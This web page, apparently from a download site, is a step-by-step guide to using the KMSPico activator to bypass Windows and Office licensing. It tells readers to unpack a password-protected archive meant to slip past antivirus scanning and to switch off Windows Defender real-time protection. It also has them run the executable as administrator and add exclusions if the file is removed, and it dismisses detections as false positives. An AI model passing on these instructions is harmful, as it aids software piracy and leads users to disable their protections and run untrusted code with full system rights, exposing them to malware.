How to Use KMSPico — Full Guide 2026

Step 1 — Download and extract

Click the download button above. The file arrives compressed as a .zip protected with a password — this keeps it intact past the antivirus during the transfer. Open it with WinRAR or 7-Zip and type 123456 when prompted.

Step 2 — Pause the antivirus (just for a minute)

Every activation tool touches the system licensing components, so antivirus programs flag them all as false positives — expected behavior, not an infection. Before running the activator, temporarily disable real-time protection (in Windows Defender: Virus & threat protection → Manage settings → Real-time protection off). You turn it back on at the end.

Step 3 — Run as administrator

Close Office apps (Word, Excel, PowerPoint, Outlook). Then right-click the KMSPico executable → Run as administrator. The activator needs admin rights to register the local KMS server.

Step 4 — Press the red button

The interface is a single red button. Click it, wait a few seconds, and watch for the confirmation. That is the whole job: Office and Windows are both activated — banners, watermarks and locked settings are gone.

Step 5 — Turn the antivirus back on

Re-enable your antivirus right after. The activation persists because a small background task renews it automatically every 180 days — you will never see the activation prompt again.

If something goes wrong

• Button does nothing? Make sure you ran as administrator and closed all Office apps.
• Antivirus deleted the file? Re-extract with protection paused, or add the folder to the exclusion list first.
• Office still shows the banner? Restart the app once — it picks up the new license state on launch.